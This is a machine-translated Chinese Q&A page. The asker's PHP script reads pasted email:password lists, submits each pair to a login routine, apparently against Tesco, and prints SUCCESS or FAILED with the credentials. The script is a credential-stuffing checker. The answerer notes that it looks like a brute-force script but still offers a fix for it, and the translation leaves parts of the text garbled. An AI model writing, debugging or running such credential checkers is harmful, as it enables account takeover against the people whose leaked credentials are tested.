Question

您好我在使用以下代码检查指定文本的html源代码并返回失败的成功但我总是失败，即使我使用正确的登录继承人我的代码我使用我的卷曲脚本 }

    if(isset($_POST['mp'], $_POST['delim'], $_POST['submit'])){
    $mps = preg_split('/\r\n|\r|\n/', $_POST['mp']);
    foreach($mps as $mp){
        $mp = explode($_POST['delim'], $mp);
        $email = $mp[0];
        $password = $mp[1];

        $html = checkmail($email, $password);
        $doc = new DOMDocument();
        @$doc->loadHTML($html);
        $nodes = $doc->getElementsByTagName('title');
        $title = $nodes->item(0)->nodeValue;

        if($title == "Sorry, but we couldn't sign you in"){
            echo "<br />FAILED - Email: $email - Password: $password";
        }else{
            echo "<br />SUCCESS - Email: $email - Password: $password";
            }
        }
    }
?>

object（DOMElement）＃3（18）{[“tagName”] =＆gt; string（5）“title”[“schemaTypeInfo”] =＆gt; NULL [“nodeName”] =＆gt; string（5）“title”[“nodeValue”] =＆gt; string（9）“Tesco.com”[“nodeType”] =＆gt; int（1）[“parentNode”] =＆gt; string（22）“（省略对象值）”[“childNodes”] =＆gt; string（22）“（省略对象值）”[“firstChild”] =＆gt; string（22）“（省略对象值）”[“lastChild”] =＆gt; string（22）“（省略对象值）”[“previousSibling”] =＆gt; string（22）“（省略对象值）”[“nextSibling”] =＆gt; string（22）“（省略对象值）”[“attributes”] =＆gt; string（22）“（省略对象值）”[“ownerDocument”] =＆gt; string（22）“（省略对象值）”[“namespaceURI”] =＆gt; NULL [“prefix”] =＆gt; string（0）“”[“localName”] =＆gt; string（5）“title”[“baseURI”] =＆gt; NULL [“textContent”] =＆gt; string（9）“Tesco.com”} NULL

Answer 1

为什么它看起来像某种蛮力剧本？无论如何，我想这个问题在于$title-main是未声明的。

在

if($title-main == "Sorry, but we couldn't sign you in"){

你应该这样做：

if($title == "Sorry, but we couldn't sign you in"){

curl php脚本在检查时总是显示失败的结果

1 个答案: